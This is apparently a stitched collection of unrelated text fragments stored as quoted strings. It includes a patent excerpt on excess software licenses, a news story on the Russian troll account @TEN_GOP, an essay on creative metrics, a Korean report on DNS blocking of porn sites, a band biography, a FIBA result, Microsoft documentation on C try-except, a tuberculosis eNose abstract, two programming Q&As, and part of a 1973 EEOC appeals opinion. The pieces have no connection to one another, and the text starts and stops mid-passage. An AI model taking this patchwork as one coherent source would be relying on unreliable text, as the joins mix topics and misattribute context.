"If any licenses remain after all installations are covered by any of the previously applied licenses, then the Tivoli License Manager deems the remaining licenses as excessive or unnecessary, and they can be terminated to save the customer money. ",
"However, the foregoing process does not always identify the most excessive or unnecessary licenses.",
"\nAccordingly, an object of the present invention is to better identify excess licenses or licenses with excess scope."
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"One of the most prominent and influential anonymous pro-Trump Twitter accounts was a run by a Russian troll farm prior to being shut down by Twitter.",
"\n\nAccording to BuzzFeed News, Russian-run account @TEN_GOP was on Twitter from November 2015 until August 2017 — a time period that allowed the account to gain nearly 140,000 followers and amass hundreds of thousands of likes and retweets on their posts.",
"\n\nThe account often focused on red meat content marketed toward supporters of President Donald Trump — and was highly effective in doing so. ",
"This included re-sharing WikiLeaks emails targeting the Clinton campaign, writing hyper-patriotic tweets, and even posting a photo of an NBA championship parade and claiming it was one of Trump’s crowds. ",
"Per Twitter archives saved by the Wayback Machine, one of the last highly popular posts shared by TEN_GOP just before the 2016 election was a WikiLeaks email claiming that Democrats were “paying people to organize violence.”",
"\n\nThe account’s original bio was “I love God, I Love my Country,” which was then changed to “Unofficial Twitter of Tennessee Republicans. ",
"Covering breaking news, national politics, foreign policy and more. #",
"MAGA #2A” after the actual Republican Party of Tennessee denied having any affiliation with @TEN_GOP. ",
"After being suspended by Twitter, the account then switched to a number of alternate aliases, one of which — @10_GOP — was retweeted by Trump himself.",
"\n\nDespite Twitter knowing about the questionable credibility of the account for nearly a year, it wasn’t shut down until last month. ",
"Upon @TEN_GOP’s removal from the social media network, many Trump-supporters expressed outraged and claimed it was part of Twitter CEO Jack Dorsey‘s grand conspiracy against conservatives. ",
"The subreddit r/the_donald and Pizzagate-truther Jack Posobiec both demanded answers as to why their friend-account @TEN_GOP was removed — answers they now have.",
"\n\nBoth Twitter and Facebook have received heavy media criticism over the way they handled the 2016 election, critics suggesting that the sites did not do enough to stop Russian troll accounts like @TEN_GOP from spreading misinformation and intentionally causing division.",
"\n\n[featured image via screengrab]\n\nFollow Caleb Ecarma on Twitter.",
"\n\nHave a tip we should know? [",
"email protected]"
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"Paul Jarvis is a Web designer and bestselling author. ",
"His upcoming book, The Good Creative, explores 18 traits of the world’s most interesting and respected creative professionals.",
"\n\nSay you look at your stats and see you received a single visitor to your website today. ",
"Awful, right?",
"\n\nMaybe you didn’t write that good of a post, you’d think. ",
"Or maybe you need to change a call to action, since they didn’t subscribe or buy anything. ",
"Or maybe you need to promote your work more on Google+.",
"\n\nFor most creatives (even those of us who don’t have a heavy online presence), this sort of thinking can easily creep in. ",
"When I was playing shows in a band, if there weren’t people lined up at the front of the stage, a “why even bother?” ",
"feeling often crept in. ",
"I felt awful thinking it, but it happened.",
"\n\nHere’s another scenario: you’re at a coffee shop and start chatting with a stranger. ",
"The conversation eventually goes deeper, into the things that hold great meaning for you both and each of you leave changed, a little for the better (or at least with something meaningful to think about).",
"\n\nOr something like this happens:\n\nMy band had just played a show, to maybe a dozen people somewhere in the middle of Canada (I forget exactly where). ",
"Afterwards, a person came up to us to say that they were in a bad place but after they bought and listened to our album on repeat for a while, it helped them through a rough patch in some small way.",
"\n\nOne person in a coffee shop. ",
"One person sitting on their couch, listening to your music, feeling a little less heavy about their life.",
"\n\nThis is why I think metrics, when applied to our creative work, can be detrimental. ",
"They downplay the value of one or even the value of a small number of people.",
"\n\nQuality vs. quantity\n\nNot enough Twitter followers, reach on Facebook, mailing list subscribers? ",
"We must be doing something wrong because we aren’t reaching thousands with what we have to say. ",
"Right?",
"\n\nThe problem with “the metric of more” is that it’s dehumanizing. ",
"It’s easily the biggest problem with this new hyper-connected economy. ",
"We can talk with people all over the world with the click of a mouse but still feel so lonely.",
"\n\nI realize we’re all trying to run our own creative businesses and that building an audience is important. ",
"But we beat ourselves up too often for not reaching enough people, especially when we’re starting out. ",
"We ignore the fact that we are reaching people.",
"\n\nThey’re not just numbers on a list, but real life people with lives, opinions, feelings, etc. ",
"The reason they’re paying attention to us is because our work is touching them in some way (not a creepy way, unless that’s your thing, then I won’t judge).",
"\n\nThe metric of more makes it seem like reaching one person isn’t enough. ",
"But, for that person, maybe your work made a world of difference. ",
"It’s just like when you read a book that feels like it was written for you. ",
"It doesn’t matter how many other copies that author has sold, it changed your life.",
"\n\nAnd it’s a slippery slope too, because maybe five people aren’t enough. ",
"Or 100. ",
"Or 1,000. ",
"The second we start to focus more on reaching the people we haven’t yet, instead of taking even better care of the people we are currently reaching, there’s a problem.",
"\n\nCreate meaningful connections\n\nObviously, we need to pay attention to growing audiences, selling our art to more people and building a wider net. ",
"But I don’t see it as the most important thing for a successful creative business.",
"\n\nThe reason we put our art into the world is for it to connect. ",
"Prioritizing the people it’s actually connecting with right now is paramount. ",
"Even if that’s just one person."
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"음란사이트 150곳 접속 차단…https 우회도 막혀 사회 입력 2018.10.18 (12:02) 수정 2018.10.18 (13:19)\n\n댓글\n\n좋아요\n\n공유하기 글씨 크게보기\n\n가\n\n글씨 작게보기\n\n정부가 주요 음란사이트 150곳을 DNS 차단 방식을 이용해 접속을 전면 폐쇄하기로 했습니다.",
"\n\n\n\n경찰청과 여성가족부, 방송통신위원회 등은 경찰청 사이버성폭력 특별단속 대상에 오른 216개 음란사이트 중 아직 폐쇄되지 않은 150곳을 고강도 차단 방식인 DNS로 차단하기로 했다고 밝혔습니다.",
"\n\n\n\n이에 따라 해당 음란사이트들은 국내에서는 매우 예외적인 방법을 활용하지 않고는 접속이 사실상 불가능해 집니다.",
"\n\n\n\nDNS는 '도메인 네임 시스템'의 영문 약칭으로, 접속하려고 하는 사이트의 이름으로 접속 차단 대상을 걸러내는 방식입니다.",
"\n\n\n\n기존 활용된 URL 차단 방식은 인터넷 창에 입력되는 주소 정보로 접속 차단 대상을 지정하는 방식이어서, 보안 차단 프로토콜인 https로 시작되는 주소 등을 활용하면 우회 접속이 가능했습니다.",
"\n\n\n\n정부는 DNS 차단이 문제가 되는 특정한 게시물이 아닌 사이트 전체를 차단하는 방식이어서 과잉 조치라는 부작용이 있지만, 불법 촬영물 유포 등에 대한 사회적 우려가 커진 점을 감안해 예외적인 조치를 실행한다고 밝혔습니다.",
"\n\n\n\n[사진 출처 : 연합뉴스]\n\n음란사이트 150곳 접속 차단…https 우회도 막혀\n\n입력 2018-10-18 12:02:30 수정 2018-10-18 13:19:38 사회\n\n정부가 주요 음란사이트 150곳을 DNS 차단 방식을 이용해 접속을 전면 폐쇄하기로 했습니다.",
"\n\n\n\n경찰청과 여성가족부, 방송통신위원회 등은 경찰청 사이버성폭력 특별단속 대상에 오른 216개 음란사이트 중 아직 폐쇄되지 않은 150곳을 고강도 차단 방식인 DNS로 차단하기로 했다고 밝혔습니다.",
"\n\n\n\n이에 따라 해당 음란사이트들은 국내에서는 매우 예외적인 방법을 활용하지 않고는 접속이 사실상 불가능해 집니다.",
"\n\n\n\nDNS는 '도메인 네임 시스템'의 영문 약칭으로, 접속하려고 하는 사이트의 이름으로 접속 차단 대상을 걸러내는 방식입니다.",
"\n\n\n\n기존 활용된 URL 차단 방식은 인터넷 창에 입력되는 주소 정보로 접속 차단 대상을 지정하는 방식이어서, 보안 차단 프로토콜인 https로 시작되는 주소 등을 활용하면 우회 접속이 가능했습니다.",
"\n\n\n\n정부는 DNS 차단이 문제가 되는 특정한 게시물이 아닌 사이트 전체를 차단하는 방식이어서 과잉 조치라는 부작용이 있지만, 불법 촬영물 유포 등에 대한 사회적 우려가 커진 점을 감안해 예외적인 조치를 실행한다고 밝혔습니다.",
"\n\n\n\n[사진 출처 : 연합뉴스]\n\n기자 정보 김준범 기자 jbkim@kbs.co.kr 기자의 기사 모음"
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"I Am They\n\nI Am They is an American contemporary Christian music band from Carson City, Nevada, formed in 2011. ",
"The band consists of five members and are signed to Essential Records. ",
"Their self-titled debut album was released in 2015.",
"\n\nBackground\nI Am They, a Christian band from Carson City, Nevada was initially formed as a worship ministry called \"Solomon's Porch\" for what was intended to be a single night worship gathering on October 31, 2008, hosted at Calvary Chapel Carson City. ",
"After a positive reception from the local church community, the band continued holding bi-monthly worship gatherings.",
"\n\nAfter receiving an offer from local Christian concert promoters, Ian Bullis and Jonathan Velasquez, to open for CCM artist Matthew West in January 2009, the band began to write original material and formally changed their name to I Am They in order to differentiate it from the bi-monthly worship ministry they hosted.",
"\n\nThe band signed to Provident Label Group in the summer of 2013 and went into the studio in January 2014 to record their self-titled debut at Yackland Studios in Nashville, TN with Producer Jonathan Smith and Executive Producer Jason Ingram. ",
" Their debut album released on January 27, 2015.",
"\n\nIn winter and spring of 2015, the band was a part of the national touring \"Rock & Worship Roadshow\" alongside MercyMe, Crowder, and Group 1 Crew, followed by a tour with Matt Maher on the spring leg of the Saints & Sinners tour.",
"\n\nIn August 2015, I Am They received a Dove Award nomination for New Artist of the Year.",
"\n\nIn March 2016, Abbie Parker replaced Stephanie Kulla as the lead female vocalist for the band. ",
"On the same day, the band released a new single “Make A Way” featuring Abbie Parker. ",
"I Am They released the 4-song worship EP The Resting Place - EP in June 2016.",
"\n\nIn April 2017, a new vocalist, Houston resident Jon McConnell, was introduced with the release of the band's new song, Crown Him.",
"\n\nIn early 2019, a new 'beater of the drums' and percussionist, Nicole Hickman, joined the group, allowing Sara Palmer to focus on planning and promotion full-time. ",
" Nicole had spent a number of years touring with Holly Starr.",
"\n\nMembers\nCurrent members\n Jon McConnell – vocals, guitar, keys \n Matthew Hein – vocals, guitar, banjo, dobro, mandolin\n Abbie Parker – vocals, harmonium, keys\n Justin Shinn – keys, organ, concert drum, banjo, mandolin, bass\n Nicole Hickman – drums, percussion\n\nFormer members\n Stephanie Kulla – vocals\n Bobby Stiehler – bass, percussion\n Raul Aguilar Jr. – bass\n Adam Palmer – vocals, guitar, Nashville high-strung guitar, banjo, dobro, concert drum\n Sara Palmer – drums, percussion\n\nDiscography\n\nAlbums\n\nSingles\n\nReferences\n\nExternal links\n\nCategory:American Christian rock groups\nCategory:Musical groups from Nevada\nCategory:Essential Records artists"
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"France Eliminates Team USA From FIBA World Cup\n\nTeam USA has been eliminated from medal contention by France at the FIBA World Cup, failing to capture gold at a major international tournament for the first time since the 2006 world championships.",
"\n\nFrance beat Team USA 89-79 in the quarterfinals on Wednesday, rallying from a seven-point fourth-quarter deficit to pull off the upset. ",
"The U.S. had won 58 consecutive tournament games in FIBA and Olympic competition with NBA players, starting with the bronze-medal game at the 2006 world championships and continuing through every FIBA Americas, World Cup and Olympics event since. ",
"The U.S. was bidding to become the first nation to win three consecutive World Cups, after winning three straight Olympic golds in that span.",
"\n\nTeam USA will go home with a spot in the 2020 Olympics secured, but no medal."
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"---\ntitle: \"try-except statement (C)\"\ndescription: \"Microsoft C/C++ implements Structured Exception Handling (SEH) using a try-except statement language extension.\"",
"\nms.date: 08/24/2020\nhelpviewer_keywords: [\"try-except keyword [C]\", \"structured exception handling, try-except\", \"try-catch keyword [C]\", \"__try keyword [C]\", \"__except keyword [C]\", \"__except keyword [C], in try-except\", \"try-catch keyword [C], try-except keyword [C]\"]\nms.assetid: f76db9d1-fc78-417f-b71f-18e545fc01c3\n---\n# try-except statement (C)\n\n**Microsoft-specific**\n\nThe `try-except` statement is a Microsoft extension to the C language that enables applications to gain control of a program when events that normally terminate execution occur. ",
"Such events are called exceptions, and the mechanism that deals with exceptions is called structured exception handling.",
"\n\nExceptions may be either hardware- or software-based. ",
"Even when applications can't completely recover from hardware or software exceptions, structured exception handling makes it possible to log and display error information. ",
"It's useful to trap the internal state of the application to help diagnose the problem. ",
"In particular, it's helpful for intermittent problems that aren't easy to reproduce.",
"\n\n## Syntax\n\n> *`try-except-statement`*:\\\n>  **`__try`** *`compound-statement`* **`__except (`** *`expression`* **`)`** *`compound-statement`*\n\nThe compound statement after the **`__try`** clause is the *guarded section*. ",
"The compound statement after the **`__except`** clause is the *exception handler*. ",
"The handler specifies a set of actions to take if an exception is raised during execution of the guarded section. ",
"Execution proceeds as follows:\n\n1. ",
"The guarded section is executed.",
"\n\n1. ",
"If no exception occurs during execution of the guarded section, execution continues at the statement after the **`__except`** clause.",
"\n\n1. ",
"If an exception occurs during execution of the guarded section, or in any routine the guarded section calls, the **`__except`** expression gets evaluated. ",
"The value returned determines how the exception is handled. ",
"There are three possible values:\n\n - `EXCEPTION_CONTINUE_SEARCH`: The exception isn't recognized. ",
"Continue to search up the stack for a handler, first for containing `try-except` statements, then for handlers with the next highest precedence.",
"\n\n - `EXCEPTION_CONTINUE_EXECUTION`: The exception is recognized but dismissed. ",
"Continue execution at the point where the exception occurred.",
"\n\n - `EXCEPTION_EXECUTE_HANDLER` The exception is recognized. ",
"Transfer control to the exception handler by executing the **`__except`** compound statement, then continue execution at the point the exception occurred.",
"\n\nBecause the **`__except`** expression is evaluated as a C expression, it's limited to either a single value, the conditional-expression operator, or the comma operator. ",
"If more extensive processing is required, the expression can call a routine that returns one of the three values listed above.",
"\n\n> [!",
"NOTE]\n> Structured exception handling works with C and C++ source files. ",
"However, it isn't specifically designed for C++. ",
"For portable C++ programs, C++ exception handling should be used instead of structured exception handling. ",
"Also, the C++ exception handling mechanism is much more flexible, in that it can handle exceptions of any type. ",
"For more information, see [Exception handling](../cpp/exception-handling-in-visual-cpp.md) in the *C++ Language Reference*.",
"\n\nEach routine in an application can have its own exception handler. ",
"The **`__except`** expression executes in the scope of the **`__try`** body. ",
"It has access to any local variables declared there.",
"\n\nThe **`__leave`** keyword is valid within a `try-except` statement block. ",
"The effect of **`__leave`** is to jump to the end of the `try-except` block. ",
"Execution resumes after the end of the exception handler. ",
"Although a **`goto`** statement can be used to accomplish the same result, a **`goto`** statement causes stack unwinding. ",
"The **`__leave`** statement is more efficient because it doesn't involve stack unwinding.",
"\n\nExiting a `try-except` statement using the `longjmp` run-time function is considered abnormal termination. ",
"It isn't legal to jump into a **`__try`** statement, but it's legal to jump out of one. ",
"The exception handler isn't called if a process is killed in the middle of executing a `try-except` statement.",
"\n\n## Example\n\nHere's an example of an exception handler and a termination handler. ",
"For more information about termination handlers, see [`try-finally` statement (C)](../c-language/try-finally-statement-c.md).",
"\n\n```C\n.",
"\n.",
"\n.",
"\nputs(\"hello\");\n__try {\n puts(\"in try\");\n __try {\n puts(\"in try\");\n RAISE_AN_EXCEPTION();\n } __finally {\n puts(\"in finally\");\n }\n} __except( puts(\"in filter\"), EXCEPTION_EXECUTE_HANDLER ) {\n puts(\"in except\");\n}\nputs(\"world\");\n```\n\nHere's the output from the example, with commentary added on the right:\n\n```Output\nhello\nin try /* fall into try */\nin try /* fall into nested try */\nin filter /* execute filter; returns 1 so accept */\nin finally /* unwind nested finally */\nin except /* transfer control to selected handler */\nworld /* flow out of handler */\n```\n\n**END Microsoft-specific**\n\n## See also\n\n[`try-except` statement (C++)](../cpp/try-except-statement.md)\n"
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"The potential of a portable, point-of-care electronic nose to diagnose tuberculosis.",
"\nTuberculosis (TB) is the leading cause of death due to an infectious disease worldwide. ",
"Especially in low-income countries, new diagnostic techniques that are accessible, inexpensive and easy-to-use, are needed to shorten transmission time and initiate treatment earlier. ",
"We conducted a study with a handheld, point-of-care electronic nose (eNose) device to diagnose TB through exhaled breath. ",
"This study includes a total of 110 patients and visitors of an expert centre of respiratory diseases in Asunción, Paraguay. ",
"TB diagnosis was established by culture of Mycobacterium tuberculosis complex and compared with the eNose results in two phases. ",
"The calibration phase, including only culture confirmed TB cases versus healthy people, demonstrated a sensitivity and specificity of 91% and 93% respectively. ",
"The confirmation phase, including all participants, showed a sensitivity of 88% and a specificity of 92%. ",
"The eNose showed high acceptance rate among participants, and was easy to operate. ",
"The eNose resulted in a powerful technique to differentiate between healthy people and TB patients. ",
"Its comfort, speed and usability promise great potential in vulnerable groups, in remote areas and hospital settings to triage patients with suspicion of TB."
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"Q:\n\nsplit to remove multiple values\n\nI need help with the split function to get the output as below-\n'name' has a value\ncDOT_abc_esx_01_test_wi13_03-31-2020_22.20.01.8964\nCode-\n(j['name'].split(\"_wi13_\"))\n\nI am getting output as below-\n'cDOT_abc_esx_01_test', '03-31-2020_22.20.01.8964'\n\nI only want output as below-\n'cDOT_abc_esx_01_test', '03-31-2020'\n\nCan anybody please help?",
"\n\nA:\n\nLearning regular expressions (regex) will be and advantage in these kind of situations. ",
"Just an opinion..\n\n"
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"\"I could never reclaim these first precious moments of maternity,\" she told USA Today of working so soon after welcoming her boy. \"[",
"But] I needed to pay my mortgage. ",
"It wasn't an option. ",
"I had to do the role.\""
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"Q:\n\nHow to submit spring form in ajax(jquery) with modelAttribute\n\nI am new to Spring MVC.",
"\nI have a form like this,\n<form:form action=\"/myaction.htm\" method=\"post\" modelAttribute=\"myForm\" id=\"formid\"> and a controller that returns json\npublic @ResponseBody ResultObject doPost(@ModelAttribute(\"myForm\") MyForm myForm){\nSystem.out.println(\"myform.input\");\n}\nI am able to submit this using$(\"#formid\").submit(); and my modelAttribute is working fine, taking values from UI.",
"\nmy question is, how to submit this form in jquery ajax way?",
"\nI tried this,\n$.ajax({\ntype:\"post\",\nurl:\"/myaction.htm\",\nasync: false,\ndataType: \"json\",\nsuccess: function(){\nalert(\"success\");\n}\n\n});\n\nthe form is submitted but modelAttribute values are nulls, how to include modelAttribute object(object that form is using) while submitting?",
"\n\nA:\n\nYou need to post the data. ",
" The way I typically do it is using the following.",
"\nvar str = $(\"#myForm\").serialize();\n\n$.ajax({\n type:\"post\",\n data:str,\n url:\"/myaction.htm\",\n async: false,\n dataType: \"json\",\n success: function(){\n alert(\"success\");\n }\n});\n\n"
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"483 F.2d 178\n6 Fair Empl.",
"Prac.",
"Cas. ",
" 293, 6 Empl. ",
"Prac. ",
"Dec. P 8774The JOSLIN DRY GOODS CO., ",
"Petitioner-Appellee,v.EQUAL EMPLOYMENT OPPORTUNITY COMMISSION, Respondent-Appellant.",
"\nNo. ",
"72-1172.",
"\nUnited States Court of Appeals,Tenth Circuit.",
"\nAug. 15, 1973.",
"\n\nJack L. Whitacre, Kansas City, Mo. (Jack L. Whitacre, Spencer, Fane, Britt & Browne, Kansas City, Mo., Bruce Sattler, Holland & Hart, Denver, Colo., on the brief), for appellee.",
"\nEllis L. Bert, Albuquerque, N. M., (John de J. Pemberton, Jr., Acting Gen. Counsel, Julia P. Cooper, Chief, Washington, D. C., Appellate Section, Ellis L. Bert, Field Atty., ",
"Albuquerque, N. M. Charles L. Reischel, Atty., ",
"E. E. O. C., Washington, D. C., on the brief), for appellant.",
"\nBefore LEWIS, Chief Judge, and JONES* and McWILLIAMS, Circuit Judges.",
"\nJONES, Circuit Judge:\n\n\n1\nThe Joslin Dry Goods Co., the appellee, operated retail department stores in the Denver, Colorado, area. ",
" It operated a Downtown Denver store and one on West Almeda Street in Denver. ",
" It had stores in Aurora, Englewood and Lakewood in suburban Denver. ",
" Other stores were located in Greeley and Boulder, each of which is some distance from Denver. ",
" The Lakewood store was discontinued prior to the initial hearing in this proceeding.",
"\n\n\n2\nMrs. Elnora Thompson filed a charge with the Colorado Civil Rights Commission claiming that she had been the subject of a racially motivated discharge as an employee at Joslin's Downtown Denver store. ",
" The proceeding terminated and she filed a charge with the appellant, Equal Employment Opportunity Commission, reading as follows:\n\n\n3\n\"The respondents discriminated against me on November 16, 1970, by discharging me from my job, such action being based in whole or in part on my race or color, Negro/Black. ",
" The respondent also fails and refuses to hire Negroes and persons of Mexican ancestry.\"",
"\n\n\n4\nIt was asserted that Mrs. Thompson's discharge was precipitated, at least in part, by an adverse \"Shoppers Report\" of Fitzsimmons, Winters & Co. These reports describe customer service and whether the sale of merchandise is properly recorded and cash properly handled.",
"\n\n\n5\nThe EEOC served Mrs. Thompson's charge on Joslin on March 30, 1971. ",
" During the ensuing investigation Joslin voluntarily provided the EEOC with the following information: (1) the current EEO-1 report showing a numerical or statistical breakdown of the employees at the Downtown Denver store according to job position, race or ethnic background and sex; (2) an additional summary breakdown by department of all employees in the Downtown Store according to race and ethnic background; (3) a breakdown of managers according to race and ethnic background; (4) the complete personnel file of Mrs. Thompson, including the Fitzsimmons, Winters & Co. reports, and (5) the job position, race, and sex of the only other person terminated during the prior year, in whole or in part, because of adverse information contained in a Fitzsimmons, Winter & Co. shopping report.",
"\n\n\n6\nThe Commission decided that this information was insufficient for an adequate investigation of the charge and, on May 26, 1971, served Joslin with an administrative subpoena, styled a \"Demand for access to evidence and compliance to give testimony under oath,\" pursuant to Sections 709(a) and 710(a) of Title VII of the Civil Rights Act of 1964, 42 U.S.C.A. Secs. ",
"2000e-8(a) and 2000e-9 (a). ",
" The subpoena demanded \"access to, . . . ",
"for the purpose of examining and copying . . .\", ",
"the following:\n\n\n7\n1. ",
" A roster of all employees presently employed in the following locations:\n\nDowntown Store, Denver\nAurora Store\nJ. C. R. S.-Lakewood\nGreeley\nBoulder\nVilla Italia\nSuch roster to include:\n\n8\na. Name of employees\n\n\n9\nb. Date of hire\n\n\n10\nc. Position and/or department of employees\n\n\n11\nd. Racial/ethnic group of each employee\n\n\n12\ne. Starting and current salary\n\n\n13\n2. ",
" A list of all employees terminated since January 1, 1970, to the present, from the Downtown, Aurora, Englewood, J. C. R. S.-Lakewood, Greeley, Boulder, and Villa Italia Stores, inclusive of:\n\n\n14\na. Name of employees\n\n\n15\nb. Date of hire\n\n\n16\nc. Position and/or employees' department\n\n\n17\nd. Racial/ethnic group of each employee\n\n\n18\ne. Date of termination\n\n\n19\nf. Reason for termination\n\n\n20\n3. ",
" A roster of the managerial staff for the Downtown, Aurora, Englewood, J. C. R. S.-Lakewood, Greeley, Boulder, and Villa Italia Stores, inclusive of:\n\n\n21\na. Name of employees\n\n\n22\nb. Date of hire\n\n\n23\nc. Racial/ethnic group of each employee\n\n\n24\nd. Position held\n\n\n25\n4. \"",
"Fitzsimmons and Winters reports on the Downtown, Aurora, Englewood, J. C. R. S.-Lakewood, Greeley, Boulder, and Villa Italia Stores since January 1, 1970, to the present. ",
" Such reports to include findings based on the checks and/or investigations and/or \"shoppings\" made during the aforementioned period. ",
" The reports are to include:\n\n\n26\na. Name of individual(s) checked or investigated\n\n\n27\nb. Date of hire of individual(s) checked or investigated\n\n\n28\nc. Position held by such individual(s)\n\n\n29\nd. Racial/ethnic group of such individual(s)\n\n\n30\ne. The report to include the number and name of employees that have been discharged as a result of the checks, investigations and \"shoppings\" made since January 1, 1970, by \"Fitzsimmons and Winters.\"",
"\n\n\n31\n5. ",
"Any like or related records retained in a different form from the documents heretofore enumerated, but reflective of the substance of the evidence in the DEMAND.",
"\n\n\n32\nAs is shown by the Demand, the EEOC requested information as to the operations of Joslin's Downtown Store and also to the operations of the other Joslin stores. ",
" Joslin refused to furnish the information as to the other stores. ",
" It filed in the district court a \"Petition to Set Aside Demands for Production of Documents\" as authorized by Section 710 (c) of the Act, 42 U.S.C.A. Sec. ",
"2000e-9 (c). ",
" The Commission answered and petitioned for enforcement of its Demand.",
"\n\n\n33\nThe district court rendered an opinion reported as Joslin Dry Goods Co. v. Equal Employment Opportunity Commission, 336 F.Supp. ",
"941. ",
" Before it was an affidavit of a vice president of Joslin and it found that the seven Joslin stores maintain separate personnel records and that there is no master file or records of employees. ",
" The district court found that \". . . ",
"although Joslin maintains every record and makes every report required by the EEOC, it does not maintain:\n\n\n34\n(a) A schedule of employees showing starting salaries.",
"\n\n\n35\n(b) A list of employees terminated since January 1, 1970. ",
" [A separate personnel file is kept for each employee, and such a list would have to be compiled from a review of all the files.]",
"\n\n\n36\n(c) 'Fitzsimmons and Winters' reports including the information described in the . . . ",
"demand.\"",
"\n\n\n37\nThe district court determined that to supply the information demanded would require a review of every personnel file maintained by the company and the compilation of a substantial amount of information, which \"could not be compiled without the expenditure of a substantial amount of money by Joslins.\" ",
" The district court decided that:\n\n\n38\n\"[T]here is no way that the statute can be read to require an employer to compile information. ",
" Sec. ",
"2000e-8 gives the right to copy, and Sec. ",
"2000e-9 requires the production of documentary evidence. ",
" No statute requires the employer to compile anything, and the courts have so held.\" ",
" Georgia Power Co. v. EEOC, 5th Cir. ",
"1969, 412 F.2d 462, 465.",
"\n\n\n39\nThis ruling disposed of most, but not all, of the EEOC's Demand. ",
" There was no request for modification of the Demand and the district court declined to winnow it down, choosing instead to set it aside without prejudice to the right of EEOC to serve a new Demand consistent with the court's opinion. ",
" The opinion went on to set forth additional limitations upon the scope of any new Demand. ",
" It was determined that Mrs. Thompson has no standing to challenge the hiring practices of Joslin. ",
" The rationale of this determination is twofold. ",
" It was first decided that Mrs. Thompson was not injured by Joslin's hiring practices. ",
" Next it was held that the requirement of 42 U.S.C.A. Sec. ",
"2000e-5(a) that an EEOC Commissioner must have \"reasonable cause\" before initiating an investigation was not met since Mrs. Thompson's charge contained no fact establishing \"reasonable cause\" for believing she or anyone else had been discriminated against by the company's hiring practices.",
"\n\n\n40\nIn discussing the right of Mrs. Thompson to question Joslin's hiring practices the district court considered and distinguished the opinion in Georgia Power Co. v. EEOC, 5th Cir. ",
"1969, 412 F.2d 462. ",
" We do not think the district court intended, as EEOC suggests, to hold that EEOC could obtain no more data on Joslin's firing practices at the Downtown Store than it had been given.",
"\n\n\n41\nAnother limitation imposed by the district court's opinion is that the investigation must be confined to Joslin's Downtown Store, where Mrs. Thompson had been employed, and could not include the other Joslin stores. ",
" The basis for this determination was that the Downtown Store maintains its own separate personnel records and there are no central employment records, and that nothing in Mrs. Thompson's charge or the pleadings suggested company-wide hiring and firing policies and practices. ",
" Under these circumstances the court held it would be unreasonable and beyond the statutory intent to countenance such a broad investigation.",
"\n\n\n42\nThe district court's opinion, to which reference has been made, is dated December 3, 1971. ",
" It was filed on December 8, 1971. ",
" It is styled \"Memorandum Opinion.\" ",
" The last two paragraphs of the opinion are in these words:\n\n\n43\n\"For these reasons, it is ordered that the demand of the Equal Employment Opportunity Commission dated May 24, 1971, be set aside, and it is ordered that defendant's request for an order enforcing compliance with the demand be, and the same hereby is denied.",
"\n\n\n44\n\"This order is without prejudice to whatever rights defendant may have to serve a new demand on plaintiff, consistent with the views expressed in this opinion.\"",
"\n\n\n45\nOn December 14, 1971, the district judge signed a \"Judgment\" which was filed the following day. ",
"It reads as follows:\n\n\n46\n\"Pursuant to and in accordance with the Memorandum Opinion filed in this office on December 8, 1971,\n\n\n47\n\"IT IS HEREBY ORDERED that the demand of the Equal Employment Opportunity Commission dated May 24, 1971, be set aside, and that Defendant's request for an order enforcing compliance with the demand be, and the same hereby is denied.",
"\n\n\n48\n\"This order is without prejudice to whatever rights Defendant may have to serve a new demand on Plaintiff, consistent with the views expressed in the Memorandum Opinion.\"",
"\n\n\n49\nOn January 26, 1972, EEOC filed a notice of appeal in these terms:\n\n\n50\n\"Notice is hereby given that the Equal Employment Opportunity Commission, defendant above named, hereby appeals to the United States Court of Appeals from the Order of the Court, issued in this action on December 3, 1971, insofar as it forbids the Equal Employment Opportunity Commission from serving any new demand on the Joslin Dry Goods Co., concerning the charge of Elnora Thompson, received by the Commission on December 28, 1970, which is not consistent with the views expressed in page 13-18 of the Memorandum Opinion of December 3, 1971.\"",
"\n\n\n51\nIt may be observed that EEOC has appealed from the \"Memorandum Opinion\" but not from the \"Judgment\" of the court. ",
" The provisions of the order incorporated in the opinion have the same degree of finality as have the provisions of the order. ",
" The appeal is not defective because it is taken from the Memorandum Opinion instead of the Judgment.",
"\n\n\n52\nIt will be noted that EEOC does not assert error in the setting aside of its demand. ",
" It does not question the district court's holding with respect to the compilation of information. ",
" It does challenge the other limitations imposed by the district court which are applicable to any new demand that EEOC may serve on Joslin.",
"\n\n\n53\nAt the outset Joslin urges that \"the EEOC's selective appeal is premature.\" ",
" The substance of its contention may best be ascertained from its brief where it is said:\n\n\n54\n\"The judgment of the district court set aside the Commission's demand of May 24, 1971. ",
" The Commission did not appeal this order. ",
" There is no demand pending in any form at this time. ",
" The Commission in its appeal asked this Court to review and revise the views expressed by the district court on the issue of Mrs. Thompson's standing to challenge alleged discriminatory hiring practices and on the issue of whether the information sought was relevant to the charge under investigation. ",
" Curiously, this Court is not asked to enforce the demand, rather the EEOC requests this Court engage in a dialogue with the district court.\"",
"\n\n\n55\nJoslin says that it brought an action to set aside the EEOC demand and the court set it aside, that EEOC sought to have the demand enforced and this was denied, that EEOC makes no claim before this Court that the demand should be enforced or that it should not have been set aside. ",
" With this theorem established to its satisfaction, it urges that the appeal be dismissed. ",
" The Joslin position, as we see it, is not that the appeal is premature, or that there is no finality of the judgment, but rather that there is no justiciable controversy before this Court.",
"\n\n\n56\nThe judgment of the district court set aside the demand of EEOC without prejudice to the serving of a new demand with a proviso that the new demand could not require Joslin to compile data, that hiring policies and procedures could not be investigated and that the investigation must be limited to the Downtown Denver store. ",
" While the notice of appeal might have been cast in different terms, it is sufficient to show that EEOC seeks review of portions of the proviso annexed to the permission to serve a new demand. ",
" The judgment is final and notice of appeal presents issues for review by this Court.",
"\n\n\n57\nThe record before this Court is adequate to permit an inference that each of the Joslin stores was a separate employing unit. ",
" It was not shown that there were any hiring or firing practices and procedures applicable to all of the stores. ",
" This being so, the decision of the district court limiting the demand of EEOC to the Downtown Denver store is affirmed.",
"\n\n\n58\nThe district court held that no investigation could be made of the hiring practices of Joslin on the complaint of Mrs. Thompson because she had not been the object of any hiring discrimination. ",
" The district court's holding was unduly restrictive. ",
" The question, in our view, is more one of relevance than of standing. ",
" The factual statement of a wrongful discharge is enough to justify an investigation of employment practices and policies, as to hiring as well as to firing. ",
" Although the charge as to hiring practices was less than might have been desired, it was sufficient to initiate the discovery procedures contemplated by the statutes. ",
" United States Steel Corp. v. United States, 10th Cir. ",
"1973, 477 F.2d 925 [decided April 19, 1973] and cases therein cited. ",
" It is our conclusion that EEOC is entitled to investigate the hiring as well as the firing practices and procedures at the Downtown Denver Joslin store. ",
" The holding otherwise of the district court is reversed on this part of the district court's order.",
